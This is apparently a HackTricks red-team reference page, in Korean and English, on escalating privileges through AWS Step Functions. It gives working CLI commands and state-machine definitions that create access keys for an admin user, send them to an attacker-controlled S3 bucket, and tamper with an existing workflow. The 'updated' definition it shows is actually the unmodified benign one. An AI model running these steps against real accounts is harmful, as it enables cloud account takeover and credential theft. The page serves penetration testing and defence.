AWS - Step Functions Privesc

Reading time: 7 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Step Functions

For more information about this AWS service, check:

AWS - Step Functions Enum

Task Resources

이러한 권한 상승 기법은 원하는 권한 상승 작업을 수행하기 위해 일부 AWS Step Functions 리소스를 사용해야 합니다.

가능한 모든 action을 확인하려면 자신의 AWS 계정에서 사용하려는 action을 선택하고 해당 action이 사용하는 파라미터를 확인할 수 있습니다. 예시는 다음과 같습니다:

또는 API AWS 문서를 방문해 각 action의 문서를 확인할 수도 있습니다:

states:TestState & iam:PassRole

An attacker with the states:TestState & iam:PassRole permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, potentially enabling unauthorized access to other AWS services with the roles' permissions. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation.

bash
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]

다음 예제는 이러한 권한과 AWS 환경의 permissive role을 활용하여 admin 사용자에 대한 access key를 생성하는 state를 테스트하는 방법을 보여줍니다. 이 permissive role에는 state가 iam:CreateAccessKey 작업을 수행할 수 있도록 허용하는 높은 권한의 정책(예: arn:aws:iam::aws:policy/AdministratorAccess)이 연결되어 있어야 합니다:

  • stateDefinition.json:
json
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
  • 명령 privesc를 수행하기 위해 실행된:
bash
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}

Potential Impact: 워크플로우의 무단 실행 및 조작과 민감한 리소스에 대한 접근을 초래하여 심각한 보안 침해로 이어질 수 있습니다.

states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)

공격자는 states:CreateStateMachine& iam:PassRole 권한을 통해 상태 머신을 생성하고 임의의 IAM 역할을 할당할 수 있으며, 해당 역할의 권한으로 다른 AWS 서비스에 무단 접근할 수 있습니다. 이전 privesc 기법(states:TestState & iam:PassRole)과 대조적으로, 이 기법은 자체적으로 실행되지 않으므로 상태 머신의 실행을 시작하려면 states:StartExecution 또는 states:StartSyncExecution 권한이 필요합니다 (**states:StartSyncExecution**은 standard workflows에서는 사용 불가, state machines를 표현하기 위한 것에만 해당).

bash
# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

다음 예제는 admin 사용자에 대한 액세스 키를 생성하고, 이 액세스 키를 공격자가 제어하는 S3 버킷으로 유출하는 state machine을 생성하는 방법을 보여줍니다. 이는 이러한 권한들과 AWS 환경의 권한이 넉넉한 역할(permissive role)을 이용합니다. 이 권한이 넉넉한 역할에는 state machine이 iam:CreateAccessKeys3:putObject 작업을 수행할 수 있도록 허용하는 고권한 정책(예: arn:aws:iam::aws:policy/AdministratorAccess)이 연결되어 있어야 합니다.

  • stateMachineDefinition.json:
json
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
  • Commandstate machine 생성을 위해 실행됨:
bash
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
  • 이전에 생성된 state machine의 start an execution을 위해 실행된 Command:
json
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}

warning

공격자가 제어하는 S3 버킷은 피해자 계정으로부터 s3:PutObject 작업을 수락할 수 있는 권한을 가져야 합니다.

잠재적 영향: 워크플로우의 무단 실행 및 조작과 민감한 리소스 접근으로 이어져 심각한 보안 침해가 발생할 수 있습니다.

states:UpdateStateMachine & (항상 필요한 것은 아님) iam:PassRole

states:UpdateStateMachine 권한을 가진 공격자는 상태 머신의 정의를 수정할 수 있으며, 권한 상승으로 이어질 수 있는 추가적인 스텔스 상태를 삽입할 수 있습니다. 이렇게 하면 합법적인 사용자가 상태 머신 실행을 시작할 때 이 악성 스텔스 상태가 실행되어 권한 상승이 성공합니다.

상태 머신에 연결된 IAM Role의 권한 범위에 따라 공격자가 직면하는 상황은 두 가지입니다:

  1. Permissive IAM Role: 상태 머신에 연결된 IAM Role이 이미 광범위한 권한을 가지고 있는 경우(예: arn:aws:iam::aws:policy/AdministratorAccess 정책이 연결된 경우), 권한 상승을 위해 iam:PassRole 권한이 필요하지 않습니다. 상태 머신 정의만으로 충분합니다.
  2. Not permissive IAM Role: 이전 경우와 달리, 이 경우 공격자는 상태 머신 정의를 수정하는 것 외에도 상태 머신에 더 권한이 넓은 IAM Role을 연결해야 하므로 iam:PassRole 권한이 필요합니다.
bash
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

다음 예시는 HelloWorld Lambda 함수를 호출하는 정상적인 state machine을 업데이트하여, 추가 상태를 삽입해 사용자 **unprivilegedUser**를 administrator IAM Group에 추가하는 방법을 보여준다. 이렇게 하면 정상 사용자가 업데이트된 state machine의 실행을 시작할 때 이 새로운 악성 은닉 상태가 실행되어 권한 상승이 성공한다.

warning

state machine에 폭넓은 권한을 가진 IAM Role이 연결되어 있지 않은 경우, 폭넓은 권한의 IAM Role을 연결하기 위해 IAM Role을 업데이트하려면 iam:PassRole 권한도 필요하다(예: arn:aws:iam::aws:policy/AdministratorAccess 정책이 연결된 Role).

json
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
  • 명령정상적인 state machine업데이트하기 위해 실행됨:
bash
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}

잠재적 영향: 워크플로우의 무단 실행 및 조작과 민감한 리소스 접근으로 인해 심각한 보안 침해로 이어질 수 있습니다.

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기